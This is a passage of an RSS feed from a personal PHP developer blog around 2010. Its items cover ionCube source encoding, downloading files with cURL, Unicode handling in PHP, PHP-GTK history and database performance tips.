								         <link>http://www.nileshpawar.com/43/Simple-File-Version-Management-Application-in-PHP</link>
								         <description></description>
								         <pubDate>Sat, 10 Jul 2010 03:59:21 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/43/Simple-File-Version-Management-Application-in-PHP</guid>
								      </item>								      <item>
								         <title>My Profile</title>
								         <link>http://www.nileshpawar.com/42/My-Profile</link>
								         <description>&lt;p&gt;I present to you my skills, achievements, talent and experience as an expert software engineer.&lt;/p&gt;
&lt;p&gt;Nilesh Pawar is an accomplished software developer with a proven ability in creating web-based applications and websites. I have a g ood understanding of &lt;strong&gt;database design &lt;/strong&gt; and &lt;strong&gt;website optimization &lt;/strong&gt; using Compression techniques&lt;/p&gt;
&lt;p&gt;I have led key initiatives to build efficient and fast loading web pages. Self-motivated and strong analytical and inter-personal skills having w orked with &lt;strong&gt;international customers &lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.nileshpawar.com/profile.htm&quot; target=&quot;_blank&quot;&gt;Click here&lt;/a&gt; to see more...&lt;/p&gt;</description>
								         <pubDate>Mon, 28 Jun 2010 00:44:40 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/42/My-Profile</guid>
								      </item>								      <item>
								         <title>Protecting Your PHP Source Code With ionCube Encoder</title>
								         <link>http://www.nileshpawar.com/41/Protecting-Your-PHP-Source-Code-With-ionCube-Encoder</link>
								         <description>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;One of the issues PHP developers face is that PHP is an interpreted  language, meaning PHP source code is readable by anybody who downloads  your applications. In this article I will show you how to protect your  intellectual property by encoding your PHP source code.&lt;/p&gt;
&lt;p&gt;The tool we are going to use to protect our code is &lt;a href=&quot;http://ioncube.com/sa_encoder.php?xp=FFBMHF&quot; style=&quot;color:blue;&quot;&gt;ionCube PHP Encoder&lt;/a&gt;.  Before releasing your PHP software, you use the encoder to convert your  plain-text PHP files into special encrypted files.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;&lt;strong&gt;Note:&lt;/strong&gt; While ionCube PHP Encoder is a commercial product, there is a &lt;a href=&quot;http://ioncube.com/encoder_eval_download.php?xp=FFBMHF&quot; style=&quot;color:blue;&quot;&gt;time-limited  trial available for download&lt;/a&gt;.&lt;/div&gt;
&lt;p&gt;Because your PHP is encoded into a special byte-code (as opposed to just  being obfuscated), a loader must be installed on your web server. A  loader is a PHP module that must be installed.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;&lt;strong&gt;Note:&lt;/strong&gt; Fortunately, ionCube PHP Encoder is commonly used  and therefore many web hosts will already have a loader installed.&lt;/div&gt;
&lt;p&gt;On the ionCube website there is a &lt;a style=&quot;color:blue;&quot; href=&quot;http://ioncube.com/loaders.php?xp=FFBMHF&quot;&gt;loaders page&lt;/a&gt; which  contains the latest versions of the loader for all supported platforms  (you must install the correct loader for your platform).&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;&lt;strong&gt;Note:&lt;/strong&gt; You will need the loader for your platform  installed in order to be able to run code you encode from this article.&lt;/div&gt;
&lt;p&gt;Before we proceed, let's take a quick look at an encoded file. Listing 1  shows a basic PHP script.&lt;/p&gt;
&lt;div class=&quot;listing&quot;&gt;
&lt;div class=&quot;caption&quot;&gt;&lt;strong&gt;Listing 1&lt;/strong&gt; A basic &amp;quot;Hello World&amp;quot; script (helloworld.php)&lt;/div&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;div class=&quot;hl-main&quot;&gt;
&lt;pre&gt;&lt;span class=&quot;hl-inlinetags&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;Hello, world!&lt;/span&gt;&lt;span class=&quot;hl-special&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;&amp;quot;&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;hl-inlinetags&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;We can then run this script through the encoder. While there are many  different options available, encoding a script with the default options  yields the following PHP file.&lt;/p&gt;
&lt;div class=&quot;listing&quot;&gt;
&lt;div class=&quot;caption&quot;&gt;&lt;strong&gt;Listing 2&lt;/strong&gt; Encoded version of &amp;quot;Hello World&amp;quot;  (helloworld-enc.php)&lt;/div&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;div class=&quot;hl-main&quot;&gt;
&lt;pre&gt;&lt;span class=&quot;hl-inlinetags&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; &lt;/span&gt;&lt;span class=&quot;hl-comment&quot;&gt;//000a8&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;echo&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;Site error: the file &amp;lt;b&amp;gt;&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;__FILE__&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;&amp;lt;/b&amp;gt; requires the ionCube PHP Loader &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;basename&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$__ln&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt; to be installed by the site administrator.&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;exit&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-number&quot;&gt;199&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;hl-inlinetags&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;4+oV5BgRgd22U2z7JoK/KmKPIcszhD8pg3hvN+5vc4HFcsGMn/El/4CMYaLFFzaqguLCeb9su8xn&lt;br /&gt;i0+eWxJg/kwNHRkiBvY1aMf1AvwPf14DIwCvegtJC7cbx9cN5jBjwSspVjhVsQnxFx9oBut6R0Kc&lt;br /&gt;V+OLw6XBTNm5sKpbL6DVm2jqk8Wasm9oJgKLZxBtvVBeP5vZrOiod+L7SoplcmTgtyr5wzS3sEzj&lt;br /&gt;r7ixXPUY4H82MyuzZyjYTkSKkz9qlMzWHddrUHJX3y0zPfDqWDUeD1BibJQJ9BXkP7jb4pdKQv/h&lt;br /&gt;sMqhthNQQRSp6nOJHq8oDDYLE+p403GYs2As9qEI2wNAg6j6ln0BRP7shcbNTb5a8O4VjjLhGDwG&lt;br /&gt;1AYOxaM4R5QneCFr+xYdtEYSep8FW1i9IBzF1FuDa7eMoPDqaQdjTLAPsy5O831yGpAHohx3FzUK&lt;br /&gt;aewZTV+tdru=&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;While you cannot understand what this code does just by looking at it,  your PHP installation with the correct loader installed interprets this  just as if it was the code in Listing 1.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.phpriot.com/articles/protecting-php-with-ioncube-encoder&quot; target=&quot;_blank&quot; style=&quot;color:blue;&quot;&gt;Click here for more information&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Wed, 23 Jun 2010 22:43:28 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/41/Protecting-Your-PHP-Source-Code-With-ionCube-Encoder</guid>
								      </item>								      <item>
								         <title>Ajax file uploader with preview option</title>
								         <link>http://www.nileshpawar.com/40/Ajax-file-uploader-with-preview-option</link>
								         <description>&lt;p&gt;If you are a PHP developer and have good experience in PHP Application/Web development then you must have faced the multiple situations where you needed to upload the image files show the preview of same at particular location on the page without submitting the form once you select the file so that you can decide whether its looking good or not if not you can change the file at same time instead of using old method where you submit the form and check preview if its not good you will go back to edit the entry again.&lt;/p&gt;
&lt;p&gt;This old method was very time consuming, so here is very easy and effective example for you to upload the image files using ajax, preview the same without submitting form. &lt;font size=&quot;4&quot; color=&quot;#339966&quot;&gt;&lt;strong&gt;I bet you will love it!&lt;/strong&gt;&lt;/font&gt;&lt;/p&gt;
&lt;p&gt;Kindly let me know your comments...&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://www.atwebresults.com/php_ajax_image_upload/&quot; target=&quot;_blank&quot;&gt;&lt;font color=&quot;#002501&quot;&gt;PHP and AJAX Image Upload&lt;/font&gt;&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Fri, 04 Jun 2010 06:08:57 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/40/Ajax-file-uploader-with-preview-option</guid>
								      </item>								      <item>
								         <title>Downloading a Remote File With cURL and PHP</title>
								         <link>http://www.nileshpawar.com/39/Downloading-a-Remote-File-With-cURL-and-PHP</link>
								         <description>&lt;p&gt;cURL is a great tool to help you connect to remote web sites, making  it easy to post forms, retrieve web pages, or even to download files. In  this PhpRiot Snippet I'll show you how you can download a file straight  to disk using cURL.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;&lt;strong&gt;Note:&lt;/strong&gt; To simplify our key points in  this article we don't perform any error checking on the cURL requests.  You should always do so; the &lt;code&gt;curl_getinfo&lt;/code&gt; function is  extremely useful for this.&lt;/div&gt;
&lt;p&gt;If you use basic options when executing a cURL request, the returned  data will be output directly. If instead you want to assign the response  to a PHP variable you would specify the &lt;code&gt;CURLOPT_RETURNTRANSFER&lt;/code&gt;  option.&lt;/p&gt;
&lt;p&gt;You can then read the response and write it to disk, as shown in the  following listing. The &lt;code&gt;$path&lt;/code&gt; variable is the location on  the server where you want to write the file.&lt;/p&gt;
&lt;div class=&quot;listing&quot;&gt;
&lt;div class=&quot;caption&quot;&gt;&lt;strong&gt;Listing 1&lt;/strong&gt; Downloading a file and saving it with  file_put_contents() (listing-1.php)&lt;/div&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;div class=&quot;hl-main&quot;&gt;
&lt;pre&gt;&lt;span class=&quot;hl-inlinetags&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$url&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;  = &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;http://www.example.com/a-large-file.zip&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;/path/to/a-large-file.zip&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$ch&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;curl_init&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$url&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;curl_setopt&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$ch&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;CURLOPT_RETURNTRANSFER&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-reserved&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;curl_exec&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$ch&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;curl_close&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$ch&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;file_put_contents&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;hl-inlinetags&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;There is however a problem with this code. If the file you're  downloading is quite large, the entire contents must be read into memory  before being written to disk. Doing so can result in your script  breaking down due to exceeding the memory limit.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;&lt;strong&gt;Note:&lt;/strong&gt; Even if your memory limit is  set extremely high, you would be putting unnecessary strain on your  server by reading in a large file straight to memory.&lt;/div&gt;
&lt;p&gt;Therefore, you should let cURL do the hard work by passing to it a  writable file stream. You can do this using the &lt;code&gt;CURLOPT_FILE&lt;/code&gt;  option.&lt;/p&gt;
&lt;div class=&quot;note&quot;&gt;&lt;strong&gt;Note:&lt;/strong&gt; Because we'll be writing to a  file you no longer specify the &lt;code&gt;CURLOPT_RETURNTRANSFER&lt;/code&gt;  option.&lt;/div&gt;
&lt;p&gt;To do this you must first create a new file pointer using &lt;code&gt;fopen()&lt;/code&gt;.  Next we pass this file pointer to cURL and perform the request.  Finally, we close the file pointer.&lt;/p&gt;
&lt;div class=&quot;listing&quot;&gt;
&lt;div class=&quot;caption&quot;&gt;&lt;strong&gt;Listing 2&lt;/strong&gt; Using cURL to download straight to a file  stream (listing-2.php)&lt;/div&gt;
&lt;div class=&quot;highlight&quot;&gt;
&lt;div class=&quot;hl-main&quot;&gt;
&lt;pre&gt;&lt;span class=&quot;hl-inlinetags&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$url&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;  = &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;http://www.example.com/a-large-file.zip&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;/path/to/a-large-file.zip&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$fp&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;fopen&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$path&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-string&quot;&gt;w&lt;/span&gt;&lt;span class=&quot;hl-quotes&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$ch&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;curl_init&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$url&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;curl_setopt&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$ch&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;CURLOPT_FILE&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$fp&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt; = &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;curl_exec&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$ch&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt; &lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;curl_close&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$ch&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;    &lt;/span&gt;&lt;span class=&quot;hl-identifier&quot;&gt;fclose&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;hl-var&quot;&gt;$fp&lt;/span&gt;&lt;span class=&quot;hl-brackets&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;hl-code&quot;&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span class=&quot;hl-inlinetags&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Reference ;- &lt;a href=&quot;http://www.phpriot.com/articles/download-with-curl-and-php&quot; target=&quot;_blank&quot;&gt;phpriot&lt;/a&gt;&lt;/p&gt;</description>
								         <pubDate>Fri, 30 Apr 2010 07:23:14 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/39/Downloading-a-Remote-File-With-cURL-and-PHP</guid>
								      </item>								      <item>
								         <title>Dynamic form creation Plugin for Wordpress - nice one</title>
								         <link>http://www.nileshpawar.com/38/Dynamic-form-creation-Plugin-for-Wordpress---nice-one</link>
								         <description>&lt;h1 class=&quot;cf_h1&quot;&gt;cformsII&lt;/h1&gt;
&lt;p&gt;&lt;strong&gt;cforms&lt;/strong&gt; is a powerful  and feature rich form plugin for Wordpress, offering convenient  deployment of multiple Ajax driven contact forms throughout your blog or  even on the same page.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&lt;a target=&quot;_blank&quot; href=&quot;http://www.deliciousdays.com/cforms-plugin/&quot;&gt;&lt;font color=&quot;#ff6600&quot;&gt;Click here&lt;/font&gt;&lt;/a&gt;&lt;/strong&gt; for more information and downlaod the same.&lt;/p&gt;</description>
								         <pubDate>Tue, 30 Mar 2010 07:20:01 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/38/Dynamic-form-creation-Plugin-for-Wordpress---nice-one</guid>
								      </item>								      <item>
								         <title>Overcoming missing Unicode support in PHP</title>
								         <link>http://www.nileshpawar.com/37/Overcoming-missing-Unicode-support-in-PHP</link>
								         <description>&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;The lack of Unicode support in PHP is displeasing, but there are workarounds that  			allow you to develop proper internationalized applications even in PHP. The first 			problem you have to solve is proper representation of Unicode data. PHP uses  			so-called &lt;em&gt;binary strings&lt;/em&gt; &amp;mdash; in PHP, a &lt;em&gt;string&lt;/em&gt; is not a string of  			Unicode characters, but rather a sequence of bytes. You can internally store all  			strings in UTF-8 encoding and make sure that all input to and output from the 			script is properly encoded and decoded.&lt;/p&gt;
&lt;p&gt;In theory, you can use other encodings than UTF-8, but UTF-8 creates less trouble  			than other systems. Many PHP libraries already expect that strings are encoded in  			UTF-8, including all functions working with XML and the newly added  			&lt;code&gt;intl&lt;/code&gt; library. To smoothly work with UTF-8-encoded  			strings, it is best to encode characters in UTF-8 and send output from scripts in  			UTF-8.&lt;/p&gt;
&lt;p&gt;Still, turning everything into UTF-8 does not solve anything. If you encode a Latin  			character with an accent or a non-Latin character in UTF-8, you will obtain two,  			three, of four bytes, which confuses PHP string functions that compute string 			length or work with substrings. Listing 1 demonstrates this 			problem.&lt;a name=&quot;list1&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a name=&quot;list1&quot;&gt;&lt;strong&gt;Listing 1. Problems related to improper Unicode support in PHP&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;
&lt;pre class=&quot;displaycode&quot;&gt;&amp;lt;?php&lt;br /&gt;&lt;br /&gt;Header(&amp;quot;Content-type: text/plain;charset=utf-8&amp;quot;);&lt;br /&gt; &lt;br /&gt;$text[&amp;quot;en&amp;quot;] = &amp;quot;The Hitchhiker's Guide to the Galaxy&amp;quot;;&lt;br /&gt;$text[&amp;quot;es&amp;quot;] = &amp;quot;Gu&amp;iacute;a del autoestopista gal&amp;aacute;ctico&amp;quot;;&lt;br /&gt;$text[&amp;quot;cs&amp;quot;] = &amp;quot;Stopa&amp;#345;&amp;#367;v pr&amp;#367;vodce po Galaxii&amp;quot;;&lt;br /&gt;$text[&amp;quot;ru&amp;quot;] = &amp;quot;&amp;#1055;&amp;#1091;&amp;#1090;&amp;#1077;&amp;#1074;&amp;#1086;&amp;#1076;&amp;#1080;&amp;#1090;&amp;#1077;&amp;#1083;&amp;#1100; &amp;#1093;&amp;#1080;&amp;#1090;&amp;#1095;-&amp;#1093;&amp;#1072;&amp;#1081;&amp;#1082;&amp;#1077;&amp;#1088;&amp;#1072; &amp;#1087;&amp;#1086; &amp;#1043;&amp;#1072;&amp;#1083;&amp;#1072;&amp;#1082;&amp;#1090;&amp;#1080;&amp;#1082;&amp;#1077;&amp;quot;;&lt;br /&gt;$text[&amp;quot;ja&amp;quot;] = &amp;quot;&amp;#37504;&amp;#27827;&amp;#12498;&amp;#12483;&amp;#12481;&amp;#12495;&amp;#12452;&amp;#12463;&amp;#12539;&amp;#12460;&amp;#12452;&amp;#12489;&amp;quot;;&lt;br /&gt;&lt;br /&gt;foreach($text as $lang =&amp;gt; $t)&lt;br /&gt;{&lt;br /&gt; echo $lang, &amp;quot;: &amp;quot;, $t, &amp;quot; (&amp;quot;, strlen($t), &amp;quot; vs. &amp;quot;, mb_strlen($t, &amp;quot;utf-8&amp;quot;), &amp;quot;)\n&amp;quot;;&lt;br /&gt;}&lt;br /&gt;?&amp;gt;&lt;/pre&gt;</description>
								         <pubDate>Wed, 17 Feb 2010 10:40:26 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/37/Overcoming-missing-Unicode-support-in-PHP</guid>
								      </item>								      <item>
								         <title>What is PHP-GTK?</title>
								         <link>http://www.nileshpawar.com/36/What-is-PHP-GTK?</link>
								         <description>&lt;p&gt;&lt;strong&gt;History&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
PHP-GTK was originally conceived by Andrei Zmievski, who is also actively involved in the development of PHP and the Zend Engine. The idea was received well by the PHP community, and more people started to get involved with the project. James Moore and Steph Fox were among the first to join in, contributing a great deal to PHP-GTK through their documentation efforts, and Frank Kromann - also from the PHP development team - supplied Windows binaries for the project.&lt;br /&gt;
&lt;br /&gt;
The first version of PHP-GTK was released in March 2001. More people began to get involved, and several extensions were contributed introducing new widgets, such as Scintilla and GtkHTML. PHP-GTK 1.0 was released in October 2003 alongside several extensions &amp;mdash; including a wrapper for libglade, which allowed the cross-platform Glade UI builder to be used in creating PHP-GTK applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;Present&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
PHP-GTK was quickly adopted by the PHP community. Several applications were developed, and a small job market even emerged. Zmievski and Fox are still working hard on the project, with Fox now maintaining PHP-GTK for Windows.&lt;br /&gt;
&lt;br /&gt;
Development is in full swing for the next major version of PHP-GTK. PHP-GTK 2 fully utilizes PHP 5's powerful object model support, and brings the improved portability of GTK 2.6 as well as its new set of widgets. The project also has some new extensions such as GtkSourceView, which provides a rich source editor widget, alongside some of the old favourites.&lt;br /&gt;
&lt;br /&gt;
Documentation for PHP-GTK 2 is filling out rapidly. Several articles and tutorials have been written on the topic, and around half the classes have been fully documented. Scott Mattocks, an active member of the PHP-GTK documentation group, has also written a book on the subject of PHP-GTK programming.&lt;/p&gt;
&lt;p&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;Ref-&amp;gt;http://en.wikipedia.org/wiki/PHP-GTK&lt;/p&gt;</description>
								         <pubDate>Tue, 16 Feb 2010 10:30:25 +0000</pubDate>
								         <guid isPermaLink="false">http://www.nileshpawar.com/36/What-is-PHP-GTK?</guid>
								      </item>								      <item>
								         <title>Performance</title>
								         <link>http://www.nileshpawar.com/35/Performance</link>
								         <description>&lt;p&gt;Performance on the web is straightforward: a relatively small amount of servers must be able to support a potentially unlimited number of clients. Any code running on the server must be clean and fast.&lt;br /&gt;
&lt;br /&gt;
When inspecting code for performance issues, I look at two things: 1) database queries, and 2) disk reads. Database queries are a critical part of most applications. Optimizing databases is a topic unto itself and I can't possibly cover it here, but I can give some coding tips in order to ease database optimization.&lt;br /&gt;
&lt;br /&gt;
&amp;bull;	Number your queries in your code. This will help you keep track of how many queries are involved in a certain process, and will save you time when trying to optimize your scripts.&lt;br /&gt;
&lt;br /&gt;
&amp;bull;	Create proper indexes. Optimized indexes are key to database speed. Any fields which are routinely queried against should have indexes. Don't create too many indexes, as unnecessary indexes will slow INSERTs and increase the database size unnecessarily.&lt;br /&gt;
&lt;br /&gt;
